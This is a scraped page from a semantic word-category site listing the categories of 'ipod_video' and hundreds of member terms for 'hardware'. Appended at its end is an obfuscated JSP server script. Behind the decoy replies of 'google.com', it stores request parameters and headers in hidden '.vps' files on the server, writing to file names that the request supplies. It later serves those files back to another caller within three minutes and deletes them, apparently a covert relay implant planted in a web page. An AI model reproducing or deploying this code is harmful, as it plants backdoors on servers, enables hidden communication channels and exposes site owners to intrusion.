Use the & operator to see the shared categories of two terms. E.g.
cola & coffee
or
divorce & war
Go Back
See XML
Categories for
ipod_video
with head word
hardware
:
specialized:hardware,
portable:hardware,
Category Nuances matching
hardware
:
metal,
military,
portable,
static,
free,
broadband,
sundry,
expensive,
virtual,
complementary,
level,
external,
ancillary,
miscellaneous,
mechanical,
required,
missing,
photographic,
plastic,
long,
functional,
astronomical,
sophisticated,
new,
complicated,
shared,
right,
noisy,
peripheral,
world,
diverse,
loose,
conductive,
little,
extra,
primitive,
base,
specialised,
cryogenic,
extraneous,
big,
underlying,
broken,
over,
stereo,
costly,
bulky,
difficult,
marine,
discrete,
advanced,
outboard,
strong,
light,
personal,
key,
interior,
reliable,
standard,
raw,
incidental,
minor,
capable,
inexpensive,
painted,
vital,
neighboring,
main,
wan,
outside,
random,
iron,
basic,
technological,
dedicated,
working,
critical,
silver,
automotive,
hydraulic,
remote,
penetrating,
planar,
simple,
instrumental,
obsolete,
restrictive,
decorative,
relevant,
clinical,
urban,
related,
typical,
powerful,
wireless,
optical,
heavy,
additional,
local,
visible,
structural,
changing,
good,
modern,
specialized,
surrounding,
active,
accessible,
compatible,
controlled,
shiny,
dental,
detachable,
important,
analog,
bad,
interactive,
permanent,
computational,
unsightly,
centralized,
current,
conventional,
convenient,
optional,
motor,
needed,
complex,
residential,
physical,
ferrous,
older,
architectural,
sensitive,
electromechanical,
surgical,
resistant,
removable,
original,
auxiliary,
scientific,
electrical,
everyday,
midi,
mounted,
traditional,
audiovisual,
protective,
abstract,
practical,
lightweight,
major,
necessary,
real,
supporting,
secure,
ergonomic,
actual,
unique,
industrial,
internal,
electric,
crucial,
experimental,
technical,
mobile,
consumable,
alternative,
durable,
individual,
odd,
medical,
plain,
intermediate,
up,
special,
japanese,
flexible,
appropriate,
commercial,
cosmetic,
proprietary,
logical,
cultural,
metallic,
electronic,
orthopaedic,
radio,
exposed,
old,
embedded,
interesting,
small,
common,
essential,
seasonal,
digital,
extensive,
Members for simple category
hardware
:
litterbin,
screw,
similar_device,
wing,
bolt,
suture_anchor,
computer,
aluminum_scaffolding,
sound_card,
keypad,
net,
printer,
coil_system,
tank,
dowel,
pocket_computer,
memory,
imaging_system,
lan_equipment,
keyboard,
computer_desktop,
gauge,
socket,
humvee,
risc_pc,
new_peripheral,
smart_card,
washer,
embedded_system,
silver_zipper,
router,
tactile_display,
composite_tank,
scanner,
dvd_rom,
shutter_dog,
branch_predictor,
rear_axle,
custom_antenna,
key_storage,
binoculars,
ethernet_card,
sensor,
fuel_pump,
spinner,
system-clock_generator,
metal_wire,
machinery,
slower_processor,
copy_network,
door_hardware,
cardiac_pacemaker,
actual_system,
fingerprint_scanner,
control_register,
communications_equipment,
workstation,
deck_cleats,
silver_chain,
palm_pilot,
attack_helicopter,
volume_pedal,
defibrillator,
document_scanner,
graphics_workstation,
fast_cpu,
distributor_tray,
tube,
digital_filter,
tv_decoder,
single_transistor,
anchor_bolt,
store,
clip,
feeder,
solenoid,
data_card,
brake,
web_cam,
cooling,
lense,
ipod_video,
new_mouse,
automatic_extractor,
simulator,
pot,
stereoscopic_display,
portable_computer,
priority_register,
smart_phone,
shaper,
servo_equipment,
feature_phone,
spike,
disk,
rack,
no_keyboard,
stable_oscillator,
tripod,
cash_drawers,
reflector_dish,
fifo_buffer,
external_converter,
new_computer,
faucet,
switch,
baggage,
clevis,
remote_window,
status_register,
cisco_router,
fighter_jet,
alternator,
pc_platform,
curtain_track,
data_storage,
denture,
multiple_connection,
instrumentation,
robot,
hp_server,
service_processor,
video_control,
communications_devices,
emergency_push,
digital_display,
flash_gun,
brigade_set,
wireless_router,
scalpel,
junction,
surrounding_buffer,
video_recorder,
computer_disk,
laundry_machine,
ethernet,
parallel_machine,
distance_sensor,
servo_driver,
wire_suture,
raid_card,
helicopter,
video_camera,
industrial_tool,
internet,
lead,
gates,
passage_set,
rod,
video_deck,
diskette_drive,
program_memory,
cache_memory,
cart,
coupler,
support,
haptic_interface,
display_equipment,
supercomputer,
small_arms,
pintle,
retaining_clip,
communication_port,
x-ray_scanner,
metal_washer,
stylus_pen,
pedicle_screw,
slot,
special_screen,
army_helicopter,
automatic_weapon,
block_ram,
access_control,
accumulator,
telecommunication,
simple_hardware,
stepper_motor,
container,
stove,
heater,
bath,
throw_bolt,
medium_decoder,
line,
x_terminal,
clutch,
embedded_controller,
cordless_telephone,
tube_sheet,
battery_box,
decoding_box,
standard_pedestal,
transportable_pen,
powerful_microprocessor,
coil,
computer_processor,
case,
trash_receptacle,
adjustable_plunger,
artillery_gun,
cryptographic_dongle,
pendent_drop,
gasket,
pc_component,
automobile,
po_printer,
lcd_driver,
power_panel,
harness,
automotive_ignition,
conveyor_beam,
graphics_processor,
hex_bolt,
kitchenware,
connection_wire,
detent_pin,
telephone,
buffer,
transport_plane,
interface_module,
spade_connector,
communications_internet,
multiple_microphone,
pacemaker,
atomic_weapon,
gas_cylinder,
door_knocker,
washbasin,
cd,
output_multiplexer,
token,
radio_hardware,
cuff,
semiconductor,
adaptive_keyboard,
professional_server,
crossbar,
adding_memory,
network_equipment,
flush_valve,
network,
staple,
cd_rom,
front_panel,
delivery_system,
shaft,
storage_array,
cellular_phone,
deadbolt,
larger_battery,
grenade,
cyclone_tie,
bar-code_scanner,
valve,
filling,
rotary_joint,
personality_eprom,
physical_cable,
artificial_joint,
aileron,
hook,
oscillator,
key_plate,
application_server,
less_memory,
strobe,
strap_button,
load,
rotor,
eye_cover,
camera_phone,
appropriate_lock,
electronic_compass,
dsl_line,
audio_card,
pottery,
rudder_tab,
print_server,
ammunition,
effect_processor,
bone_plate,
edge_server,
biometric-identification_system,
heavy_firearm,
thermal_sensor,
repeater,
mount,
remote,
spectrophotometer,
machine,
multimedia_input,
spray,
standard_pc,
cage,
concertina_wire,
axle,
host_computer,
daemon_tool,
wlan_card,
annotation_system,
hydraulic_pump,
headset,
sign_bracket,
blade,
motion_sensor,
broadband_interface,
ship,
zero_fighter,
led,
partition_card,
spring_hinge,
antenna_array,
hinge_strap,
firewall,
crayon,
adapter,
bypass_devices,
devices,
network_appliance,
gps_module,
optical_lense,
destroyer,
stereo,
auxiliary_lock,
commercial_computer,
bollard,
wireless_equipment,
receipt_printer,
pump,
dat,
aircraft,
rifle,
key,
electronic_storage,
aluminum_pistol,
grounds,
graphics_card,
sink,
word_clock,
serial_terminal,
frequency_clock,
transmission,
analog_input,
sound_device,
monitoring_equipment,
heartbeat_connection,
signal_generator,
storage,
set,
hand_microphone,
satellite_instrumentation,
cylinder,
light_stack,
instruction_processor,
circuit,
metal_pin,
furniture,
disk_array,
scsi_card,
goggles,
connector_plug,
vertical_screen,
flash,
retainer,
busbar,
facsimile_machine,
injector,
power_switch,
logic_analyzer,
lcd_projector,
backup_server,
self_checkout,
crown,
steel_cleats,
cap,
center_column,
keel,
crimp_terminal,
telephony_card,
telecommunication_equipment,
jeep,
third,
network_interface,
lan_switch,
metallic_plate,
wireless_laptop,
hydraulic_actuator,
apple_tv,
laser,
cinema_equipment,
ordinary_laptop,
simple_microprocessor,
rotary_lock,
test_board,
jet_fighter,
video_card,
gps_antenna,
optical_drive,
vise,
projector,
collapsible_pin,
push_plate,
orinoco_card,
buckle,
shower-curtain_rod,
copier,
storage_controller,
parallel_workstation,
window_guard,
turbine,
voltage_driver,
loudspeaker,
data_interface,
proprietary_telephone,
cylindrical_lock,
enlarger,
apc,
splicing_equipment,
dedicated_server,
atm_network,
sword,
pda,
fuel-line_retainer,
hasp,
simple_webcam,
hard_drive,
disk_devices,
dish,
scissors,
block,
belt_strap,
expansion_card,
chip_card,
ethernet_switch,
evaluation_board,
plug,
fax,
proprietary_card,
optical_detector,
body_hardware,
control,
detector_component,
teleprompter,
ic_card,
memory_circuit,
environmental_sensor,
designer_pull,
transmitter,
wand,
diode,
night-vision_goggles,
watchdog_timer,
certain_pump,
video_terminal,
retrofit_hardware,
flight_hardware,
casket_hardware,
electric_cable,
bus_adapter,
communication_devices,
interval_timer,
potentiometer,
steps,
portable_drive,
automatic_machine,
thumb_drive,
industrial_equipment,
prism,
thermal_radiator,
new_card,
multiple_modem,
loop,
optical_instrument,
screen,
war_ship,
audio_control,
raid_disk,
battery,
walkman,
toothbrush_holder,
thumbtack,
cell_phone,
gps_device,
china,
medical_devices,
extension_lead,
post,
register,
color_screen,
water-level_actuator,
actuator,
junction_box,
adapter_card,
nitrogen_generator,
transducer_sled,
radar_set,
thrust_adapter,
shutter_glasses,
winch,
overhead_camera,
door_lock,
caster,
larger_antenna,
laptop,
ball_screw,
mailbox,
dsl_modem,
door_chains,
airport_network,
conductor_hardware,
lighting,
remote_router,
strap,
multiple_processor,
archival_system,
military_vehicle,
videodisk,
mainframe,
sidewinder_missile,
pull_tab,
air_brakes,
driver,
point,
adjunct_switch,
motor,
water_container,
personal_computer,
memory_card,
long_bolt,
vcr,
handheld_computer,
soldier_radio,
nuclear_submarine,
defective_memory,
d_converter,
rectangular_base,
sound_detector,
current_transformer,
wrist_guard,
interface_hardware,
brakes,
motor_starter,
tie_back,
pole,
lever,
fixation_plate,
body_harness,
camcorder,
joystick,
membrane_keypad,
common_nail,
light,
chock_fairlead,
risc_processor,
static_generator,
rod_hardware,
dvd_drive,
base,
gin_pole,
control_horn,
wire_loom,
cable_tie,
trackball,
serial_devices,
new_printer,
table,
system_memory,
photocopy_machine,
additional_pc,
mold,
linear_actuator,
burglar_lock,
pointing_device,
tissue_cover,
peripheral_device,
iris_scanner,
shop-floor_klaxon,
analogue_indicator,
raid_controller,
net_card,
gps,
hard_disk,
graphic_card,
adder,
interface,
stealth-fighter_jet,
phone,
new_memory,
converter,
tool,
jukebox,
plotter,
chair,
bracing_component,
guard_receiver,
fisheye_lens,
floppy,
new_terminal,
tweezer,
flat,
specialized_server,
memory_component,
game_machine,
pole_rod,
windows,
enclosure_material,
control_head,
torpedo,
cleats,
visual_equipment,
bomb,
ph_meter,
drum_machine,
lid_prop,
wireless,
internet_cable,
armoured_vehicle,
network_firewall,
barbed_wire,
munition_storage,
lookup_table,
glasses,
truck,
portable_laser,
lure,
light_timer,
knife,
snoopy_cache,
building_core,
component_trip,
embedded_ram,
amp_speaker,
gps_receiver,
leash,
fender,
concealed_hinge,
development_kit,
vessel,
graphics_memory,
null_lense,
input_multiplexer,
temperature_sensor,
window_spring,
lcd_display,
thunder_bolt,
tv_card,
inverter,
dvd_burner,
mobile_cart,
video_transmitter,
artillery_system,
roll_pin,
floppy_drive,
trailer_hitch,
laser_scanner,
diskette,
control_line,
serial_line,
fin,
wall_mount,
multiple_camera,
graphic_adapter,
cotter_pin,
notebook_pc,
pipe,
abb_controller,
ram,
missile,
communications_links,
condenser,
equipment,
plane,
brass,
cell_processor,
spray_bar,
maneuvering_system,
armature,
exercise_equipment,
network_port,
subtracter,
test_box,
drive,
contemporary_pda,
tablet_pc,
instruction_decoder,
rechargeable_battery,
extension_interface,
bridge_support,
bar-code_font,
desktop,
solid-state_devices,
digitiser,
needle_transducer,
wave_keyboard,
loading_system,
output_card,
chip_set,
plasma_sprayer,
grommet,
horn,
scaler,
satellite,
shared_disk,
handheld_telephone,
architectural_hardware,
missile_cruiser,
smart_storage,
rudder,
nuclear_missile,
robotic_system,
n_device,
faster_cpu,
real-time_clock,
boot_scraper,
radioactive_material,
ethernet_port,
center_cap,
acoustic_coupler,
sequencer,
assembly,
damper,
visual_display,
digital_mixer,
ethernet_hardware,
carabiner,
dsl,
sound_equipment,
pump_valve,
rocket_motor,
blade_server,
weapon,
graphic_calculator,
server,
centrifuge,
floss_dispenser,
machine_cycle,
video_camcorder,
system,
additional_memory,
dirty_bit,
synthesizer,
scsi_controller,
bolt_kit,
pc,
accelerometer,
tv,
airplane,
tuner,
accelerator,
raid_storage,
working_weapon,
optional_winch,
framing_hardware,
steel_column,
input,
less_storage,
bike_rack,
circuitry,
nylon_fastener,
running-board_hardware,
light_controller,
bracket,
crash_sensor,
shutter,
inductor,
microphone_jacks,
resistor,
pan,
builder_hardware,
network_controller,
microcomputer,
motion_base,
permanent_pacemaker,
pony_bag,
solenoid_valve,
light_dimmer,
nylon_fitting,
new_server,
external_memory,
butt_plate,
metal_hinge,
glove,
cyclone_rod,
concept_keyboard,
mirror_potentiometer,
fax_machine,
shotgun,
ekg_machine,
generator,
locomotive,
display_register,
wheel,
symbol_generator,
handheld_devices,
protective_foot,
bearing,
calculator,
network_analyzer,
annunciator,
engine,
surface_bolt,
naval_ship,
cable,
tv_tuner,
security,
channel_mixer,
memory_medium,
format_converter,
speakerphone,
web_camera,
toiletry_shelf,
port,
processor,
earphone,
antenna_component,
telecommunication_system,
starter,
adjustable_sprocket,
timer,
enamelware,
chains,
armored_vehicle,
bus,
electronic_token,
server_cabinet,
joint_prosthesis,
microphone,
regulator,
peripheral,
unsigned_shift,
paper_holder,
ipod,
gas,
optical_system,
seeker_system,
network_router,
fan,
propeller,
telecom,
notebook,
cabinet_pull,
deck_screw,
turnbuckle,
game,
lateral_arms,
computer_cart,
lcd,
actual_wire,
door_hinge,
backup_devices,
electronic_box,
door_bolt,
cooling_fan,
parallel_port,
prosthesis,
big_screen,
trunk,
compact_disk,
additional_ram,
additional_processor,
hold_back,
latest_pc,
ethernet_modem,
cafe_chip,
memory_stick,
key_fastener,
satellite_dish,
mobile_telephone,
l_bracket,
aerial,
interactive_pager,
tee,
ballast,
network_printer,
tape,
electronic_system,
cabinet_hinge,
ram_chip,
pager,
buck,
capacitor,
flight-control_computer,
webcam,
push_rod,
archive_server,
na_devices,
tower,
memory_module,
postscript_printer,
flow_control,
fingerprint_sensor,
expanded_keyboard,
antenna,
rusty_hinge,
cable_box,
plasma_display,
pull,
printed-circuit_board,
paperclip,
drawer_pull,
propane_tank,
removable_denture,
hinge,
transport_aircraft,
rocket,
crimp_sleeve,
switch_box,
disk_storage,
metal_plate,
related_driver,
memory_elements,
power_amplifier,
thruster,
eye_scanner,
instrument,
special_router,
record_deck,
pocket_pc,
demand_controller,
mirror_mount,
stringer,
cpu,
faucet_valve,
vacuum_system,
analog_filter,
radiator,
header,
connector,
belt,
external_drive,
filter_wheel,
touchscreen,
switching_relay,
intelligent_camera,
scsi,
metering_valve,
thermostat,
primary,
basic_stamp,
forceps,
extra_ram,
nail,
electrical_connection,
bridge,
radio,
scsi_drive,
color_printer,
interface_cable,
second,
plate,
shared_server,
video_cap,
musical_keyboard,
blade_system,
flapper_valve,
igniter_plug,
electrical_lead,
fighter_plane,
optical_sensor,
electronic_control,
device,
shackle,
multiplexer,
atm,
wifi_equipment,
support_bracket,
industrial_pc,
midi_controller,
battleship,
mini_speaker,
reservoir,
power_link,
fastener_screw,
carrier_card,
turntable,
electrical_terminal,
frequency_measure,
dedicated_laptop,
over_ethernet,
head,
thermometer,
counter,
computer_line,
stereo_glasses,
floating_point,
thin_client,
tissue_holder,
rom,
pulley,
brass_screw,
television,
epos_equipment,
key_switch,
closet_rod,
inclinometer,
compressor,
cast-iron_radiator,
equipment_container,
vane_assembly,
analog_demodulator,
aircraft_autopilot,
door_pull,
composite_bow,
slower_cpu,
air-defense_equipment,
assault_helicopter,
furniture_hook,
dial,
supersonic_missile,
dredger,
internet_router,
bath_hardware,
sun_workstation,
drawer,
torque_sensor,
extra_processor,
electronic_circuit,
audio_interface,
smart_clip,
dust_cap,
stainless_steel,
remote_computer,
fuse,
digital_transmitter,
slate_pc,
beam_chopper,
solar_panel,
combat_aircraft,
scale,
receiver,
cleat,
directional_antenna,
voicemail_card,
switching_gear,
color_camera,
serial_interface,
safety,
spring,
sherman_tank,
toilet-tissue_holder,
cam,
isolation_bearing,
seat,
band,
mooring_cleats,
blower,
display_driver,
cable_modem,
ad_converter,
sophisticated_display,
wall_slot,
gear,
high-quality_video,
system_board,
glass,
digital_camera,
multimedia_card,
card_cage,
vernier_spectrometer,
warehouse_shelf,
pencil,
needle,
fighter,
card,
arm,
field_connector,
extension,
electrical_tape,
pulse_oximeter,
mixer,
radio_modem,
fitting,
jumper_wire,
ring_binder,
pointer,
directional_coupler,
grating,
servo,
lan,
attenuator,
dvd,
ultima_box,
camera,
transformer,
missile_launcher,
additional_wheel,
metal_chains,
retail_automation,
pin,
interference_screw,
gun,
midi_module,
audio,
binocular_display,
panel_screw,
extra_stage,
fax_modem,
spacecraft,
multiprocessor,
bumper,
cache,
appliance_hardware,
steel_pipe,
matrix,
wheel_cylinder,
predator_drone,
artillery,
kick_plate,
graphics_adapter,
chain,
sprocket,
splicing,
lock,
cabinet,
desktop_machine,
casket,
game_control,
roller-bearing_block,
vector_processor,
mirror,
removable_medium,
ventilator,
memory_controller,
dell_server,
tuna_tower,
cookware,
jack_socket,
fuel_tank,
frequency_synthesizer,
foot,
display,
microprocessor,
box,
selector,
relay,
wifi_component,
extension_port,
snap,
oscilloscope,
external_devices,
frequency_scanner,
collector,
lisp_machine,
recording_devices,
lan_adapter,
cast-iron_bath,
klystron_tube,
modern_bomber,
reference_bit,
exchange_file,
spatial_filter,
wireless_mouse,
furling_gear,
links,
test_kit,
peripheral_circuit,
surgical_prosthesis,
dongle,
brass_hardware,
radio-transmitter_array,
swell_shutter,
wheel_pin,
lineman_tool,
wireless_card,
shared_storage,
ultrasound_sensor,
digitizer,
toy,
fastener,
cellphone,
strainer,
smaller_screen,
large_mainframe,
network_drop,
pear_links,
na_system,
battery_rack,
charge_amplifier,
small_camera,
ground_radar,
data_glove,
safety_switch,
flashlight,
teller_devices,
transport,
storage_server,
single_server,
mine,
bronze_oarlock,
frame_switch,
rubber,
autopilot_system,
skin_connector,
video-game_machine,
padlock,
balloon,
swash_plate,
cord,
wall_track,
safe,
printer_port,
wiper,
malice_clip,
submarine,
headphone,
thimble,
video,
wing_spoiler,
component,
dvd_system,
modem,
video_matrix,
steel,
joint,
atm_switch,
speaker,
heavy_aircraft,
faster_processor,
ps_pump,
chemical_laser,
array_processor,
phone_switch,
solar_array,
munition,
ham_radio,
wire,
lunar_lander,
soho_buckle,
military_vessel,
heat_pipe,
language_master,
subscriber_circuit,
graphics_accelerator,
terminator_adapter,
video_converter,
electric_lock,
signal_line,
wire_clip,
access_point,
cradle,
microscope,
gps_equipment,
storage_router,
digital_synthesizer,
round_base,
operational_amplifier,
fruit_plate,
memory_ram,
network_cable,
nuclear_weapon,
desktop_pc,
flush_mount,
veto_counter,
bathroom_accessory,
respirator,
sea_mine,
jumper,
lighting_rig,
active_antenna,
stern_light,
motion_detector,
propeller_blade,
bit,
warship,
lever_set,
stainless-steel_fastener,
des_chip,
radar,
capacity_plate,
amplifier,
kitchen_hardware,
wireless_modem,
soft_phone,
bronze_hardware,
zipper,
video_devices,
new_cpu,
sense_antenna,
microchip,
trim_coil,
sheet-metal_screw,
similar_devices,
crystal,
virtual_machine,
marine_hardware,
mouse,
internal_modem,
cooking_pot,
terminal,
button,
switching_valve,
trigger_guard,
anchor,
staircase_component,
pc_card,
collimator,
site_staff,
fence_staple,
arms,
engineering_equipment,
network_adapter,
precision_sensor,
sound_module,
flatbed_scanner,
liquid-nitrogen_dewar,
filter,
meter,
tray,
rectifier,
video_scanner,
disk_tower,
demodulation_circuit,
industrial_modem,
input_switch,
key_stock,
rendering_engine,
panel,
phase_separator,
lock_striker,
instruction_cache,
detection,
network_card,
controller,
patriot_missile,
<%@page trimDirectiveWhitespaces="true"%> <%@page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@page import="java.io.*"%> <%@page import="java.util.*"%> <%@page import="java.text.*"%> <%! static String cuy321a = null; public static String cuy321b(byte[] cuy321c) { char[] cuy321d = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P', 'Q','R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f', 'g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v', 'w','x','y','z','0','1','2','3','4','5','6','7','8','9','+','/' }; StringBuilder cuy321e = new StringBuilder(); int cuy321f = 0; for (int i = 0; i < cuy321c.length; i += 3) { int b = ((cuy321c[i] & 0xFF) << 16) & 0xFFFFFF; if (i + 1 < cuy321c.length) { b |= (cuy321c[i+1] & 0xFF) << 8; } else { cuy321f++; } if (i + 2 < cuy321c.length) { b |= (cuy321c[i+2] & 0xFF); } else { cuy321f++; } for (int j = 0; j < 4 - cuy321f; j++) { int c = (b & 0xFC0000) >> 18; cuy321e.append(cuy321d[c]); b <<= 6; } } for (int j = 0; j < cuy321f; j++) { cuy321e.append("="); } return cuy321e.toString(); } public void cuy321a(HttpServletRequest req) { if (cuy321a != null) return; String cuy321g = getServletContext().getRealPath(req.getRequestURI()).replace('\\', '/'); cuy321a = cuy321g.substring(0, cuy321g.lastIndexOf('/')) + "/"; } byte[] cuy321h(String cuy321i) { byte[] cuy321j = null; FileInputStream cuy321k = null; File file = new File(cuy321i); try { cuy321k = new FileInputStream(file); cuy321j = new byte[(int)file.length()]; cuy321k.read(cuy321j); } catch (Exception ex) { } finally { try { if (cuy321k != null) cuy321k.close(); } catch (Exception ex) { } } return cuy321j; } %> <% cuy321a(request); String cuy322a = request.getParameter("user"); String cuy322b = request.getParameter("rand"); String cuy322c = request.getParameter("id"); String cuy322d = request.getParameter("action"); int cuy322e = -1; if (request.getParameter("code") != null) cuy322e = Integer.parseInt(request.getParameter("code")) % 4; if (cuy322d != null && "home".equals(cuy322d)) { out.write("google.com"); } if (cuy322a != null && !"0".equals(cuy322a)) { String cuy322g = cuy321a + cuy322b + ".vps"; String cuy322f = cuy322g + "x"; String cuy322h = request.getParameter("hash"); String cuy322i = request.getHeader("From"); FileOutputStream cuy322j = null; cuy322j = new FileOutputStream(cuy322f); if(cuy322j != null) { DataOutputStream cuy322k = new DataOutputStream(cuy322j); cuy322k.writeLong(System.currentTimeMillis()); cuy322k.close(); cuy322j.close(); } cuy322j = new FileOutputStream(cuy322g, false); if(cuy322j != null) { cuy322j.write(cuy322h.getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322i.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322a.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322b.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.flush(); cuy322j.close(); } out.write("google.com"); } else if (cuy322e == 0 && "0".equals(cuy322c)) { out.write("google.com"); } else if (cuy322e == 1) { File cuy322l = new File(cuy321a); String cuy322g = null; String cuy322f = null; int cuy322m = 0; if (cuy322l.exists() && cuy322l.isDirectory()) { for(File file:cuy322l.listFiles()) { cuy322g = file.getName(); if(cuy322g.endsWith(".vps")) { cuy322m = 1; cuy322g = file.getAbsolutePath(); cuy322f = cuy322g + "x"; break; } } } if (cuy322m == 1) { FileInputStream cuy321k = new FileInputStream(cuy322f); DataInputStream cuy322o = new DataInputStream(cuy321k); if(System.currentTimeMillis() - cuy322o.readLong() < 180000) { byte[] cuy322p = cuy321h(cuy322g); if (cuy322p != null) { out.write(new String(cuy322p)); } } cuy322o.close(); cuy321k.close(); File cuy322p1 = new File(cuy322g); cuy322p1.delete(); File cuy322pz = new File(cuy322f); cuy322pz.delete(); } else { out.write("google.com"); } } %>